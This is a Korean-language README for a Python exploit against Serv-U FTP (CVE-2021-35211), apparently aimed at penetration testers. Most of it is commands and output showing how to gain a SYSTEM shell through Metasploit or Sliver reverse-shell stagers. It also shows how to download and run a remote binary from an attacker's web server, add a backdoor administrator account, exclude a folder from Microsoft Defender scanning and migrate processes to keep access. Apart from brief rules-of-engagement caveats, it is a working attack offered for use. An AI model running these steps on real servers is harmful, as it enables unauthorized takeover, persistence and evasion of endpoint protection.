
Serv-U-FTP CVE-2021-35211 익스플로잇
익스플로잇이 매번 작동하는 것은 아니지만, 대략 5~6번 실행 중 한 번은 셸코드가 실행될 정도로 충분히 작동합니다. 그러나 실패한 익스플로잇이 Serv-U 서버를 크래시시키는 경우도 있습니다. 행동 규칙에 서비스 손실 또는 성능 저하 위험이 허용되는지 확인하십시오. 테스트 중 확인된 증상:
Caveat emptor.
버전이 중요합니다. 이 익스플로잇은 Serv-U 버전 15.2.3.717에서만 유효한 하드코딩된 ROP 주소를 사용합니다. 다른 버전을 추가할 수 있습니다. 다른 Serv-U 또는 Windows 버전에서 필요하다면 문의하십시오.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
다음 인수를 받습니다:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
성공적인 공격에서 실행할 수 있는 세 가지 모드(페이로드)가 있습니다:
stageexecdownloadexec성공적인 익스플로잇 시 Metasploit/Sliver 호환 셸코드 스테이저를 실행합니다. 모든 페이로드 중 가장 신뢰도가 낮습니다. downloadexec를 대신 고려하십시오. 다음과 같이 실행합니다:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Metasploit/Sliver 셸코드 스테이징 인스턴스의 호스트명 또는 IPv4 주소
stagePort 스테이징 인스턴스의 포트 번호
optional arguments:
-h, --help 도움말 메시지 표시 후 종료
stageHost와 stagePort는 Sliver/Metasploit 박스에서 리스닝 핸들러를 가리킵니다. 원하는 페이로드를 선택할 수 있지만, 안정적으로 작동하는 유일한 페이로드는 windows/x64/shell/reverse_tcp임을 발견했습니다. 암호화되지 않은 셸이므로 행동 규칙을 확인한 후 사용하십시오.
다시 말씀드리지만, caveat emptor.
Kali 박스에서 Metasploit을 다음과 같이 설정합니다:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
그런 다음 익스플로잇을 실행합니다:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Kali 박스로 돌아가면 스테이지 요청과 명령 셸이 시작되는 것을 볼 수 있습니다:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
스테이저 페이로드의 Sliver 지원은 매우 실험적이며 거의 작동하지 않습니다. 작동하더라도 일반적으로 세션이 시작되자마자 죽습니다. 하지만 즉시 종료되지 않는 세션을 얻으면 다른 프로세스로 마이그레이션하여 Sliver 접근을 유지할 수 있습니다.
Sliver 서버에서 stage-listener 명령을 실행하여 리스너를 설정하십시오. 스테이징에 대한 자세한 내용은 Sliver 문서를 참조하십시오:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Stage 모드로 익스플로잇을 실행합니다:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
익스플로잇이 작동하면 (Sliver 또는 Meterpreter 페이로드에서는 매우 드뭅니다) 다음과 같은 결과를 볼 수 있습니다 (그렇습니다, Sliver가 페이로드 이름을 스스로 지었습니다!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
가장 먼저 해야 할 일은 다른 프로세스로 마이그레이션하는 것입니다. Sliver 세션이 죽어서 돌아오지 않을 가능성이 높으며, 현재 원인을 정확히 파악하지 못했습니다.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
이 시점에서 Serv-U와 이 익스플로잇의 변덕에 영향을 받지 않는 안정적인 Sliver 세션을 확보해야 합니다.
가장 신뢰할 수 있는 모드이며 Microsoft Defender 엔드포인트 보안에 탐지될 가능성이 가장 낮습니다. 이는 Powershell 명령(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")을 사용하여 Microsoft Defender에 디렉터리 예외를 추가함으로써 Sliver/Meterpreter/기타 바이너리가 맬웨어 검사를 받지 않도록 하기 때문입니다. 이는 Windows Defender로부터 보호하지만, 다른 엔드포인트 보안 기술, 네트워크 IDS 등은 별도로 처리해야 합니다.
성공 시 URL에서 바이너리를 다운로드하여 실행합니다. 실행 파일을 호스팅할 웹서버가 필요합니다. 저는 Python을 사용했지만, SSL 없이 로컬 네트워크에서 테스트 중임을 참고하십시오. 실제 익스플로잇에서는 암호화되지 않은 URL을 사용하려면 행동 규칙을 확인해야 합니다.
다시 한번: caveat emptor.
다음과 같이 간단한 HTTP 리스너를 실행합니다:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
리스너가 실행 중인 상태에서 익스플로잇을 실행합니다:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
리스너에서 다음과 같은 내용을 볼 수 있습니다:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
대상은 calc.exe를 실행하고 Serv-U 서비스를 재시작하여 사용자가 다시 연결할 수 있게 합니다. 실행 파일은 창을 표시하지 않지만, 이 예제를 실행하면 작업 관리자에서 wincalc.exe를 확인할 수 있습니다.
성공 시 대상에서 명령을 실행합니다. 다음과 같이 실행합니다:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
이 익스플로잇은 불행히도 원격 프로세스를 크래시시키는 경향이 있습니다. 일반적으로 재시작되며 더 안정적으로 만들 수 있는지 확인 중입니다. 그때까지는 행동 규칙을 확인하고 Caveat emptor임을 기억하십시오.